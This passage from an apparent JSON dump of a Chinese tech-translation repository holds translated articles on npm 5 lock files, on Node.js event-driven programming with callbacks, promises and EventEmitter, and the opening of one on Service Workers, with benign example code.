NPM 中对包的加密算法 SHA-1，但是以后将默认使用 SHA-512 进行加密。\n\n这个文件目前**取消**了 `from` 字段。众所周知，这个字段和时常发生不一致的 `version` 字段一起，给代码审查看文件改动差异时，带来了不少痛苦。不过现在应该变得更加整洁了。\n\n该文件现在增加了 `lockfileVersion` 字段来指定的 lock 格式的版本，并将其设置为1。这是为了使将来的格式更新时，不用去猜测该文件使用什么特定版本。以前的 lock 格式仍然支持并被识别为版本 `0`。\n\n\n```\n{\n  \"name\": \"package-name\",\n  \"version\": \"1.0.0\",\n  \"lockfileVersion\": 1,\n  \"dependencies\": {\n    \"cacache\": {\n      \"version\": \"9.2.6\",\n      \"resolved\": \"https://registry.npmjs.org/cacache/-/cacache-9.2.6.tgz\",\n      \"integrity\": \"sha512-YK0Z5Np5t755edPL6gfdCeGxtU0rcW/DBhYhYVDckT+7AFkCCtedf2zru5NRbBLFk6e7Agi/RaqTOAfiaipUfg==\"\n    },\n    \"duplexify\": {\n      \"version\": \"3.5.0\",\n      \"resolved\": \"https://registry.npmjs.org/duplexify/-/duplexify-3.5.0.tgz\",\n      \"integrity\": \"sha1-GqdzAC4VeEV+nZ1KULDMquvL1gQ=\",\n      \"dependencies\": {\n        \"end-of-stream\": {\n          \"version\": \"1.0.0\",\n          \"resolved\": \"https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.0.0.tgz\",\n          \"integrity\": \"sha1-1FlucCc0qT5A6a+GQxnqvZn/Lw4=\"\n        },\n```\n\n你可能已经注意到了，指向特定 URI 的文件的 `resolved` 字段仍然得到了保留。注意，NPM 现在可以（根据 .npmrc 中的设置）解析机器配置使用的不同仓库，这样的话，与 integrity 字段一起配合，只要签名是匹配的，包的来源并无关紧要。\n\n值得一提的是，lock 文件精确描述了 `node_modules` 目录中所列出的目录的物理树。其优点是，即使不同的开发人员使用不同版本的 NPM，他们仍然不仅能够得到相同版本的依赖，还可以使用完全相同的目录树。 这与其他包管理器（如 [Yarn](https://yarnpkg.com/en/) ）不同。 Yarn 仅以 [flatten 格式](https://github.com/yarnpkg/yarn/blob/46750b2bebd487fb2d2011b9c4b7646ec6e2d8a3/yarn.lock) 描述各个包之间的依赖关系，并依赖于其当前实现来创建目录结构。这意味着如果其内部算法发生变化，结构也会发生变化。如果你想了解更多关于 Yarn 和 NPM 5 之间 lock 文件的区别，请查看 [Yarn determinism](https://yarnpkg.com/blog/2017/05/31/determinism/)。\n\n## 双 lock 文件\n\n上面已经提到过 lock 文件不止一个。当安装新的依赖关系或文件不存在时，NPM 将**自动**生成一个名为 `package-lock.json` 的 lock 文件。如开始所述，lock 文件是当前依赖关系树的快照，允许不同机器间的重复构建。因此，建议将它添加到您的版本控制中去。\n\n你可能会认为，使用 `npm shrinkwrap` 及其 `npm-shrinkwrap.json` 可以实现同样的效果。你的想法没错，但创建新 lock 文件的原因是，这样能够更好的传达一个信息，就是 NPM 真正支持了 locking 机制，这在以前确实是一个显著的问题。\n\n不过还是有一些区别。首先，NPM 强制该 `package-lock.json` 不会被发布。 即使你将其显式添加到软件包的 `files` 属性中，它也不会是已发布软件包的一部分。这种情况同样不适用于 `npm-shrinkwrap.json` 文件，哪怕这个文件**可以**是发布包的一部分、即便存在嵌套的依赖关系，NPM 也会遵守它。你可以简单的通过运行 `npm pack` 来查看生成的归档内部的内容。\n\n接下来，您可能会想知道在已经包含 `package-lock.json` 的目录中运行 `npm shrinkwrap` 时会发生什么。答案很简单，NPM 仅仅会把 `package-lock.json` 重命名为 `npm-shrinkwrap.json`。因为文件的格式是完全一样的。\n\n最好奇的还会问，当两个文件都存在时会发生什么。 在这种情况下，NPM将完全忽略 `package-lock.json`，只使用 `npm-shrinkwrap.json`。 当只使用 NPM 操纵文件时，这种情况不应该发生。\n\n### 总结:\n\n- NPM 会在安装包时自动创建 `package-lock.json`，除非已经有 `npm-shrinkwrap.json`，并在必要时更新它。\n\n- 新的 `package-lock.json` 永远不会被发布，而且应该将其添加到你的版本控制系统中去。\n\n- 运行已经带有 `package-lock.json` 文件的 `npm shrinkwrap` 命令将只会对其重命名为 `npm-shrinkwrap.json`。\n\n- 当两个文件处于某些原因同时存在时，`package-lock.json` 将被忽略。\n\n这很酷，但是什么时候使用新的 lock 文件而不是旧的 shrinkwrap？ 它通常取决于您正在处理的包的类型。\n\n## 当开发库时\n\n如果你正在开发一个库（如其他人所依赖的软件包），则应使用新的 lock 文件。 另一种替代方案是使用 shrinkwrap，并确保它不会随包发布（新的 lock 文件不会自动发布）。 但为什么不发布 shrinkwrap 呢？ 这是因为 NPM 遵守在包中找到的 shrinkwraps，并且由于 shrinkwrap 总是指向单个包的特定版本，所以你无法利用 NPM 可以使用相同的包来满足多个包的要求（在 [semver](//semver.org) 允许范围内）的优势。 换句话说，通过不去强制 NPM 来安装特定的版本，您可以让 NPM 更好的复用包，并使结果更小更快地组合。\n\n这里有一个警告。当你正在开发库时，因为仓库中存在 `package-lock.json` 或 `npm-shrinkwrap.json`，所以每次都会获得完全相同的依赖关系，这对于你的持续集成服务器也是如此。现在想象你的 `package.json` 指定某个包的依赖关系为 `^1.0.0`，也恰好是 lock 文件中指定的版本，并且每次安装。到目前为止一切正常。但如果依赖项发布了一个新版本，并且意外的破坏了 semver 和你开发的包，这时候会发生什么？\n\n遗憾的是，在出现错误报告之前，你可能无法注意到这个问题。在没有 lock 文件的仓库中，你的构建至少在 CI 服务器上会失败，因为它总是尝试去安装依赖的 `latest` 版本，从而运行出错的版本（只要该版本定期运行，而不仅仅是针对 PR）。 然而，当 lock 文件出现后，它将始终安装能正常工作的被 lock 的版本。\n\n然而，对于这个问题有几个其他的解决方案。 首先，你可以牺牲问题重现的精确性，而**不**将 lock 文件添加到版本控制系统中。 其次，你可以做一个分离的配置来进行构建，在运行测试之前运行 `npm update`。 第三，你可以简单的在你运行测试之前删除 lock。 如何处理发现的损坏依赖是另一个话题了，其主要原因是因为 NPM 实现的 semver 不仅没有涉及如此广范围的问题，而且还不支持特定版本的黑名单特性。\n\n这当然就会引起一个问题，在开发库的时候，是否真的值得将 lock 文件添加到版本控制中去。要记住的是，lock 文件不仅包含依赖关系，还包含 **dev** 的依赖关系。在这种意义下来讲，开发库与开发应用时类似（见下一节），无论什么时候都有着完全相同的 dev 依赖关系，并且不同设备也算一种优势。\n\n## 当开发应用时\n\n好，那么最终用户在终端中使用的包或打包的可执行文件会是个什么情况？在这种情况下，包就是最终结果，即应用。你想要确保最终用户总能获得你发布时所具有的确切依赖性。确保在安装时让 NPM 遵守规则，这就是您想要使用 shrinkwrap 的地方。 记住，使用 `npm pack` 发布包时，你可以随时查看软件包的情况。\n\n注意，在 `package.json` 中指定一个特定版本依赖是不够的，因为你希望确保最终用户获得完全相同的依赖关系树，包括其所有子依赖关系。而 `package.json` 中的一个特定版本保证只会发生在顶层。\n\n其他类型的应用怎么样，比如在仓库内启动的项目？这种情况并不重要。重要的是安装正确的依赖项，而两个 lock 都满足这一点要求。随你怎么选。\n\n## 结束\n\n没了，就这么多。如果有哪里不对或者有一些一般性的意见，请随时在 Tweitter 上联系我。如果你发现拼写错误或语法问题，则可以在 GitHub 上找到这个文章。感谢你的帮助！\n\n如果你喜欢这篇文章，你可以在 Twitter 上关注 [@JiriPospisil](https://twitter.com/JiriPospisil) 并通过 [feed](/feed.xml) 订阅。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/understanding-node-js-event-driven-architecture.md",
    "content": "> * 原文地址：[Understanding Node.js Event-Driven Architecture](https://medium.freecodecamp.com/understanding-node-js-event-driven-architecture-223292fcbc2d)\n> * 原文作者：本文已获原作者 [Samer Buna](https://medium.freecodecamp.com/@samerbuna) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[刘德元](https://github.com/xiaomibaobao) [薛定谔的猫](https://github.com/Aladdin-ADD)\n> * 校对者：[bambooom](https://github.com/bambooom) [zaraguo](https://github.com/zaraguo)\n\n# 理解 NodeJS 中基于事件驱动的架构 #\n\n![](https://cdn-images-1.medium.com/max/2000/1*Nozl2qd0SV8Uya2CEkF_mg.jpeg)\n\n绝大部分 Node.js 对象，比如 HTTP 请求、响应以及“流”，都使用了 `eventEmitter` 模块来支持监听和触发事件。\n\n![](https://cdn-images-1.medium.com/max/800/1*74K5OhiYt7WTR0WuVGeNLQ.png)\n\n事件驱动最简单的形式是常见的 Node.js 函数回调，例如：`fs.readFile`。事件被触发时，Node 就会调用回调函数，所以回调函数可视为事件处理程序。\n\n让我们来探究一下这个基础形式。\n\n#### Node，在你准备好的时候调用我吧！ ####\n\n以前没有原生的 promise、async/await 特性支持，Node 最原始的处理异步的方式是使用回调。\n\n回调函数从本质上讲就是作为参数传递给其他函数的函数，在 JS 中这是可能的，因为函数是一等公民。\n\n回调函数并不一定异步调用，这一点非常重要。在函数中，我们可以根据需要同步/异步调用回调函数。\n\n例如，在下面例子中，主函数 `fileSize` 接收一个回调函数 `cb` 为参数，根据不同情况以同步/异步方式调用 `cb`：\n\n```js\nfunction fileSize (fileName, cb) {\n  if (typeof fileName !== 'string') {\n    return cb(new TypeError('argument should be string')); // 同步\n  }\n  \n  fs.stat(fileName, (err, stats) => {\n    if (err) { return cb(err); } // 异步\n    \n    cb(null, stats.size); // 异步\n  });\n}\n```\n\n请注意，这并不是一个好的实践，它也许会带来一些预期外的错误。最好将主函数设计为始终同步或始终异步地使用回调。\n\n我们再来看看下面这种典型的回调风格处理的异步 Node 函数：\n\n```js\nconst readFileAsArray = function(file, cb) {\n  fs.readFile(file, function(err, data) {\n    if (err) {\n      return cb(err);\n    }\n\n    const lines = data.toString().trim().split('\\n');\n    cb(null, lines);\n  });\n};\n```\n\n`readFileAsArray` 以一个文件路径和回调函数 callback 为参，读取文件并切割成行的数组来当做参数调用 callback。\n\n这里有一个使用它的示例，假设同目录下我们有一个 `numbers.txt` 文件中有如下内容:\n\n```\n10\n11\n12\n13\n14\n15\n```\n\n要找出这个文件中的奇数的个数，我们可以像下面这样调用 `readFileAsArray` 函数：\n\n```js\nreadFileAsArray('./numbers.txt', (err, lines) => {\n  if (err) throw err;\n\n  const numbers = lines.map(Number);\n  const oddNumbers = numbers.filter(n => n%2 === 1);\n  console.log('Odd numbers count:', oddNumbers.length);\n});\n```\n\n这段代码会读取数组中的字符串，解析成数字并统计奇数个数。\n\n在 NodeJS 的回调风格中的写法是这样的：回调函数的第一个参数是一个可能为 null 的错误对象 err，而回调函数作为主函数的最后一个参数传入。 你应该永远这么做，因为使用者们极有可能是这么以为的。\n\n#### 现代 JavaScript 中回调函数的替代品 ####\n\n在 ES6+ 中，我们有了 Promise 对象。对于异步 API，它是 callback 的有力竞争者。不再需要将 callback 作为参数传递的同时处理错误信息，Promise 对象允许我们分别处理成功和失败两种情况，并且链式的调用多个异步方法避免了回调的嵌套（callback hell，回调地狱）。\n\n如果刚刚的 `readFileAsArray` 方法允许使用 Promise，它的调用将是这个样子的：\n\n```js\nreadFileAsArray('./numbers.txt')\n  .then(lines => {\n    const numbers = lines.map(Number);\n    const oddNumbers = numbers.filter(n => n%2 === 1);\n    console.log('Odd numbers count:', oddNumbers.length);\n  })\n  .catch(console.error);\n```\n\n作为调用 callback 的替代品，我们用 `.then` 函数来接受主方法的返回值，`.then` 中我们可以和之前在回调函数中一样处理数据，而对于错误我们用`.catch`函数来处理。\n\n现代 JavaScript 中的 Promise 对象，使主函数支持 Promise 接口变得更加容易。我们把刚刚的 `readFileAsArray` 方法用改写一下以支持 Promise：\n\n```js\nconst readFileAsArray = function(file, cb = () => {}) {\n  return new Promise((resolve, reject) => {\n    fs.readFile(file, function(err, data) {\n      if (err) {\n        reject(err);\n        return cb(err);\n      }\n      \n      const lines = data.toString().trim().split('\\n');\n      resolve(lines);\n      cb(null, lines);\n    });\n  });\n};\n```\n\n现在这个函数返回了一个 Promise 对象，该对象包含 `fs.readFile` 的异步调用，Promise 对象暴露了两个参数：`resolve` 函数和 `reject` 函数。\n\n`reject` 函数的作用就和我们之前 callback 中处理错误是一样的，而 `resolve` 函数也就和我们正常处理返回值一样。\n\n剩下唯一要做的就是在实例中指定 `reject` `resolve` 函数的默认值，在 Promise 中，我们只要写一个空函数即可，例如 `() => {}`.\n\n#### 在 async/await 中使用 Promise ####\n\n当你需要循环异步函数时，使用 Promise 会让你的代码更易阅读，而如果使用回调函数，事情只会变得混乱。\n\nPromise 是一个小小的进步，generator 是更大一些的小进步，但是 async/await 函数的到来，让这一步变得更有力了，它的编码风格让异步代码就像同步一样易读。\n\n我们用 async/await 函数特性来改写刚刚的调用 `readFileAsArray` 过程：\n\n```js\nasync function countOdd () {\n  try {\n    const lines = await readFileAsArray('./numbers');\n    const numbers = lines.map(Number);\n    const oddCount = numbers.filter(n => n%2 === 1).length;\n    console.log('Odd numbers count:', oddCount);\n  } catch(err) {\n    console.error(err);\n  }\n}\n\ncountOdd();\n```\n\n首先我们创建了一个 `async` 函数，只是在定义 function 的时候前面加了 `async` 关键字。在 `async` 函数里，使用关键字 `await` 使 `readFileAsArray` 函数好像返回普通变量一样，这之后的编码也好像 `readFileAsArray` 是同步方法一样。\n\n`async` 函数的执行过程非常易读，而处理错误只需要在异步调用外面包上一层 `try/catch` 即可。\n\n在 `async/await` 函数中我们我们不需要使用任何特殊 API（像: `.then` 、 `.catch`\\），我们仅仅使用了特殊关键字，并使用普通 JavaScript 编码即可。\n\n我们可以在支持 Promise 的函数中使用 `async/await` 函数，但是不能在回调风格的异步方法中使用它，比如 `setTimeout` 等等。\n\n### EventEmitter 模块 ###\n\nEventEmitter 是 Node.js 中基于事件驱动的架构的核心，它用于对象之间通信，很多 Node.js 的原生模块都继承自这个模块。\n\n模块的概念很简单，Emitter 对象触发已命名事件，使之前已注册的监听器被调用，所以 Emitter 对象有两个主要特征：\n\n* 触发已命名事件\n* 注册和取消注册监听函数\n\n如何使用呢？我们只需要创建一个类来继承 EventEmitter 即可：\n\n```js\nclass MyEmitter extends EventEmitter {\n\n}\n```\n\n实例化前面我们基于 EventEmitter 创建的类，即可得到 Emitter 对象：\n\n```js\nconst myEmitter = new MyEmitter();\n```\n\n在 Emitter 对象的生命周期中的任何一点，我们都可以用 emit 方法发出任何已命名的事件：\n\n```js\nmyEmitter.emit('something-happened');\n```\n\n触发一个事件即某种情况发生的信号，这些情况通常是关于 Emitter 对象的状态改变的。\n\n我们使用 `on` 方法来注册，然后这些监听的方法将会在每一个 Emitter 对象 emit 它们对应名称的事件的时候执行。\n\n#### 事件 != 异步 ####\n\n让我们看一个例子：\n\n```js\nconst EventEmitter = require('events');\n\nclass WithLog extends EventEmitter {\n  execute(taskFunc) {\n    console.log('Before executing');\n    this.emit('begin');\n    taskFunc();\n    this.emit('end');\n    console.log('After executing');\n  }\n}\n\nconst withLog = new WithLog();\n\nwithLog.on('begin', () => console.log('About to execute'));\nwithLog.on('end', () => console.log('Done with execute'));\n\nwithLog.execute(() => console.log('*** Executing task ***'));\n```\n\nWithLog 类是一个 event emitter。它有一个 excute 方法，接收一个 taskFunc 任务函数作为参数，并将此函数的执行包含在 log 语句之间，分别在执行之前和之后调用了 emit 方法。\n\n执行结果如下：\n\n```\nBefore executing\nAbout to execute\n*** Executing task ***\nDone with execute\nAfter executing\n```\n\n我们需要注意的是所有的输出 log 都是同步的，在代码里没有任何异步操作。\n\n* 第一步 “Before executing”；\n* 命名为 begin 的事件 emit 输出了 “About to execute”；\n* 内含方法的执行输出了“\\*\\*\\* Executing task \\*\\*\\*”；\n* 另一个命名事件输出“Done with execute”；\n* 最后“After executing”。\n\n如同之前的回调方式，events 并不意味着同步或者异步。\n\n这一点很重要，假如我们给 `excute` 传递异步函数 `taskFunc`，事件的触发就不再精确了。\n\n可以使用 `setImmediate` 来模拟这种情况：\n\n```js\n// ...\n\nwithLog.execute(() => {\n  setImmediate(() => {\n    console.log('*** Executing task ***')\n  });\n});\n```\n\n会输出：\n\n```\nBefore executing\nAbout to execute\nDone with execute\nAfter executing\n*** Executing task ***\n```\n\n这明显有问题，异步调用之后不再精确，“Done with execute”、“After executing”出现在了“\\*\\*\\*Executing task\\*\\*\\*”之前（应该在后）。\n\n当异步方法结束的时候 emit 一个事件，我们需要把 callback/promise 与事件通信结合起来，刚刚的例子证明了这一点。\n\n使用事件驱动来代替传统回调函数有一个好处是：在定义多个监听器后，我们可以多次对同一个 emit 做出反应。如果要用回调来做到这一点的话，我们需要些很多的逻辑在同一个回调函数中，事件是应用程序允许多个外部插件在应用程序核心之上构建功能的一个好方法，你可以把它们当作钩子点来允许利用状态变化做更多自定义的事。\n\n#### 异步事件 ####\n\n我们把刚刚的例子修改一下，将同步改为异步方式，让它更有意思一点：\n\n```js\nconst fs = require('fs');\nconst EventEmitter = require('events');\n\nclass WithTime extends EventEmitter {\n  execute(asyncFunc, ...args) {\n    this.emit('begin');\n    console.time('execute');\n    asyncFunc(...args, (err, data) => {\n      if (err) {\n        return this.emit('error', err);\n      }\n\n      this.emit('data', data);\n      console.timeEnd('execute');\n      this.emit('end');\n    });\n  }\n}\n\nconst withTime = new WithTime();\n\nwithTime.on('begin', () => console.log('About to execute'));\nwithTime.on('end', () => console.log('Done with execute'));\n\nwithTime.execute(fs.readFile, __filename);\n```\n\n\nWithTime 类执行 `asyncFunc` 函数，使用 `console.time` 和 `console.timeEnd` 来返回执行的时间，它 emit 了正确的序列在执行之前和之后，同样 emit error/data 来保证函数的正常工作。\n\n我们给 `withTime` emitter 传递一个异步函数 `fs.readFile` 作为参数，这样就不再需要回调函数，只要监听 `data` 事件就可以了。\n\n执行之后的结果如下，正如我们期待的正确事件序列，我们得到了执行的时间，这是很有用的：\n\n```\nAbout to execute\nexecute: 4.507ms\nDone with execute\n```\n\n请注意我们是如何将回调函数与事件发生器结合来完成的，如果 `asynFunc` 同样支持 Promise 的话，我们可以使用 `async/await` 特性来做到同样的事情：\n\n```js\nclass WithTime extends EventEmitter {\n  async execute(asyncFunc, ...args) {\n    this.emit('begin');\n    try {\n      console.time('execute');\n      const data = await asyncFunc(...args);\n      this.emit('data', data);\n      console.timeEnd('execute');\n      this.emit('end');\n    } catch(err) {\n      this.emit('error', err);\n    }\n  }\n}\n```\n\n这真的看起来更易读了呢！`async/await` 特性使我们的代码更加贴近 JavaScript 本身，我认为这是一大进步。\n\n#### 事件参数及错误 ####\n\n在之前的例子中，我们使用了额外的参数触发了两个事件。\n\n`error` 事件使用了 error 对象。\n\n```js\nthis.emit('error', err);\n```\n\n`data` 事件使用了 data 对象。\n\n```js\nthis.emit('data', data);\n```\n\n我们可以在命名事件之后使用任何需要的参数，这些参数将在我们为命名事件注册的监听器函数内部可用。\n\n例如：`data` 事件执行的时候，监听函数在注册的时候就会允许我们的接收事件触发的 data 参数，而 asyncFunc 函数也实实在在暴露给了我们。\n\n```js\nwithTime.on('data', (data) => {\n  // do something with data\n});\n```\n\n`error` 事件通常是特例。在我们基于 callback 的例子中，如果没用监听函数来处理错误，Node 进程就会直接终止-。-\n\n我们写个例子来展示这一点：\n\n```js\nclass WithTime extends EventEmitter {\n  execute(asyncFunc, ...args) {\n    console.time('execute');\n    asyncFunc(...args, (err, data) => {\n      if (err) {\n        return this.emit('error', err); // Not Handled\n      }\n\n      console.timeEnd('execute');\n    });\n  }\n}\n\nconst withTime = new WithTime();\n\nwithTime.execute(fs.readFile, ''); // BAD CALL\nwithTime.execute(fs.readFile, __filename);\n```\n\n第一个 execute 函数的调用会触发一个错误，Node 进程会崩溃然后退出：\n```bash\nevents.js:163\n      throw er; // Unhandled 'error' event\n      ^\nError: ENOENT: no such file or directory, open ''\n\n```\n\n第二个 excute 函数调用将受到之前崩溃的影响，可能并不会执行。\n\n如果我们注册一个监听函数来处理 `error` 对象，情况就不一样了：\n\n```js\nwithTime.on('error', (err) => {\n  // do something with err, for example log it somewhere\n  console.log(err)\n});\n```\n\n加上了上面的错误处理，第一个 excute 调用的错误会被报告，但 Node 进程不会再崩溃退出了，其它的调用也会正常执行：\n```bash\n{ Error: ENOENT: no such file or directory, open '' errno: -2, code: 'ENOENT', syscall: 'open', path: '' }\nexecute: 4.276ms\n```\n\n记住：Node.js 目前的表现和 Promise 不同 ：只是输出警告，但最终会改变：\n\n```bash\nUnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 1): Error: ENOENT: no such file or directory, open ''\n\nDeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.\n```\n\n另一种处理异常的方法是注册一个全局的 uncaughtException 进程事件，但是，全局的捕获错误对象并不是一个好办法。\n\n关于 uncaughtException 的建议是不要使用。你一定要用的话（比如说报告发生了什么或者做一些清理工作），应该让进程在此结束：\n\n```js\nprocess.on('uncaughtException', (err) => {\n  // something went unhandled.\n  // Do any cleanup and exit anyway!\n\n  console.error(err); // don't do just that.\n\n  // FORCE exit the process too.\n  process.exit(1);\n});\n```\n\n然而，想象在同一时间发生多个错误事件。这意味着上述的 uncaughtException 监听器会多次触发，这可能对一些清理代码是个问题。一个典型例子是，多次调用数据库关闭操作。\n\nEventEmitter 模块暴露一个 once 方法。这个方法仅允许调用一次监听器，而非每次触发都调用。所以，这是一个 uncaughtException 的实际用例，在第一次未捕获的异常发生时，我们开始做清理工作，并且知道我们最终会退出进程。\n\n#### 监听器的顺序 ####\n\n如果我们在同一个事件上注册多个监听器，则监听器会按顺序触发，第一个注册的监听器就是第一个触发的。\n\n```js\nwithTime.on('data', (data) => {\n  console.log(`Length: ${data.length}`);\n});\n\nwithTime.on('data', (data) => {\n  console.log(`Characters: ${data.toString().length}`);\n});\n\nwithTime.execute(fs.readFile, __filename);\n```\n\n上面代码的输出结果里，“Length” 将会在 “Characters” 之前，因为我们是按照这个顺序定义的。\n\n如果你想定义一个监听器，还想插队到前面的话，要使用 prependListener 方法来注册。\n\n```js\nwithTime.on('data', (data) => {\n  console.log(`Length: ${data.length}`);\n});\n\nwithTime.prependListener('data', (data) => {\n  console.log(`Characters: ${data.toString().length}`);\n});\n\nwithTime.execute(fs.readFile, __filename);\n```\n\n上面的代码使得 “Characters” 在 “Length” 之前。\n\n最后，想移除的话，用 removeListener 方法就好啦！\n\n\n\n感谢阅读，下次再会，以上。\n\n如果觉得本文有帮助，点击[阅读原文](https://medium.freecodecamp.com/understanding-node-js-event-driven-architecture-223292fcbc2d)可以看到更多关于 Node 和 JavaScript 的文章。\n\n关于本文或者我写的其它文章有任何问题，欢迎在 [slack](https://slack.jscomplete.com/) 找我，也可以在 #questions room 向我提问。\n\n作者在 [Pluralsight](https://www.pluralsight.com/search?q=samer+buna&amp;categories=course) 和 [Lynda](https://www.lynda.com/Samer-Buna/7060467-1.html) 上有开设线上课程，最近的课程有[React.js入门](https://www.pluralsight.com/courses/react-js-getting-started)，[Node.js进阶](https://www.pluralsight.com/courses/nodejs-advanced)，[JavaScript全栈](https://www.lynda.com/Express-js-tutorials/Learning-Full-Stack-JavaScript-Development-MongoDB-Node-React/533304-2.html)，有兴趣的可以试听。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/understanding-service-workers.md",
    "content": "\n  > * 原文地址：[Understanding Service Workers](http://blog.88mph.io/2017/07/28/understanding-service-workers/)\n  > * 原文作者：[Adnan Chowdhury](http://blog.88mph.io/author/adnan/)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/understanding-service-workers.md](https://github.com/xitu/gold-miner/blob/master/TODO/understanding-service-workers.md)\n  > * 译者：[zyziyun](https://github.com/zyziyun)\n  > * 校对者：[undead25](https://github.com/undead25)、[calpa](https://github.com/calpa)\n\n\n# 理解 Service Workers\n\n  什么是 Service Workers？他们能够做什么，怎样使你的 web app 表现得更好？本文旨在回答这些问题，以及如何使用 Ember.js 框架来实现他们。\n\n## 目录\n\n- [背景](#背景)\n- [注册](#注册)\n- [安装事件](#安装事件)\n- [Fetch 事件](#Fetch事件)\n- [缓存策略](#缓存策略)\n- [激活事件](#激活事件)\n- [同步事件](#同步事件)\n- [什么时候同步事件被触发？](#什么时候同步事件被触发？)\n- [通知推送](#通知推送)\n- [通知](#通知)\n- [消息推送](#消息推送)\n- [使用 Ember.js 实现](#使用Ember.js实现)\n- [了解 ember-service-worker 的约定](#了解ember-service-worker的约定)\n- [构建基于 Ember 和 Service-Workers 的App](#构建基于Ember和Service-Workers的App)\n- [结论](#结论)\n\n## 背景\n\n在互联网早期时代，几乎没人会考虑用户处于离线状态时该如何呈现一个 web 页面，只会考虑在线状态。\n\n![Connected!](http://blog.88mph.io/content/images/2017/07/aol-connected.jpg)\n\n连接上了！这帮家伙在这里！永远别想离开。\n\n但是，随着移动互联网的到来以及网络在世界其他地区的普及，参差不齐的网络质量在用户使用的现代网络中已经越来越普遍。\n\n因此，网站在离线状态时候的表现，以便用户不受网络可用性的限制，已变得非常有价值。\n\n[AppCache](https://developer.mozilla.org/en-US/docs/Web/HTML/Using_the_application_cache) 最初是作为 HTML5 规范的一部分引入，用以解决离线 web 应用程序的问题。它包含以 **Cache Manifest** 配置文件为中心的HTML和JS的组合，配置文件以声明式语言来编写。 \n\nAppCache 最终被发现是 [不实用的和充满陷阱的](https://alistapart.com/article/application-cache-is-a-douchebag)。因此它已被废弃，被 Service Workers 有效的取代。\n\n[Service workers](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API) 提供了一个更具前瞻性的离线应用解决方案，通过更加程序化的语言书写规则替代 AppCache 的声明式书写方式。\n\nService Workers 在浏览器后台进程中持续的执行其代码。它是事件驱动的，这意味着在 Service Worker 的作用域范围内触发的事件会驱动其行为。\n\n这篇文章剩下的部分将对 Service Worker 的每个事件阶段做个简要的说明，但是在开始使用 Service Workers 之前，你首先需要在你的 web app 中执行代码来注册 Service Worker 。\n\n## 注册\n\n下面的代码说明了怎样在你的客户端浏览器中注册你的 Service Worker，这是通过在你的 web app 前端代码的某一处执行 `register` 方法调用来实现的：\n\n```\nif (navigator.serviceWorker) {\n  navigator.serviceWorker.register('/sw.js')\n    .then(registration => {\n      console.log('congrats. scope is: ', registration.scope);\n    })\n    .catch(error => {\n      console.log('sorry', error);\n    });\n}\n```\n\n这将告诉浏览器在哪里找到你的 Service Worker 的实现，浏览器将查找对应的（`/sw.js`）文件，并将它保存在你正在访问的域名下，这个文件将包含所有你自己定义的 Service Worker 事件处理程序。\n\n![](http://blog.88mph.io/content/images/2017/07/Screenshot-2017-07-16-17.39.10.png)\n\n在 Chrome 开发者工具中查看已注册的 Service Worker \n\n它也将设置你的 Service Worker 的**作用域**，这个 `/sw.js` 文件意味着 Service Worker 的作用范围是在你 URL（这里是指`http://localhost:3000/`） 的根路径下。这意味着在你的根路径下的任何请求，都将通过触发事件的方式告诉 Service Worker。一个文件路径为`/js/sw.js`的文件就仅仅可以捕获`http://localhost:3000/js`该链接下的请求。\n\n另外，你也可以通过将第二个参数传入给 `register` 方法来明确地设置 Service Worker 的作用域范围：`navigator.serviceWorker.register('/sw.js', { scope: '/js' })`。\n\n## 事件处理程序\n\n现在你的 Service Worker 已经被注册好了，是时候在你的 Service Worker 生命周期中触发实现对应的事件处理程序了。\n\n#### 安装事件\n\n当你的 Service Worker 首次注册的时，或者你的 Service Worker 文件（`/sw.js`）在之后的任何时间被更新时（浏览器会自动检测这些更改），install 事件都将被触发。\n\n对于那些你想在你的 Service Worker 初始化时执行的逻辑，install 事件是非常有用的，它可以执行一些一次性的操作，贯穿在整个 Service Worker 应用程序的生命周期中。一个常见的例子是在 install 阶段加载缓存。\n\n下面是一个在 install 事件处理程序阶段向缓存添加数据的例子。\n\n```\nconst CACHE_NAME = 'cache-v1';\nconst urlsToCache = [\n  '/',\n  '/js/main.js',\n  '/css/style.css',\n  '/img/bob-ross.jpg',\n];\n\nself.addEventListener('install', event => {\n  caches.open(CACHE_NAME)\n    .then(cache => {\n      return cache.addAll(urlsToCache);\n    });\n});\n```\n\n`urlsToCache` 包含了一组我们想要添加到缓存的 URL。\n\n`caches` 是一个全局的 [CacheStorage](https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage) 对象，允许你在浏览器中管理你的缓存。我们将调用 `open` 方法来检索具体我们想要使用的 [Cache](https://developer.mozilla.org/en-US/docs/Web/API/Cache) 对象。\n\n`cache.addAll` 将收到一组 URL，并向每个 URL 发起一个请求，然后将响应存储在其缓存中。它使用请求体作为每个缓存值的键名。了解更多请参阅 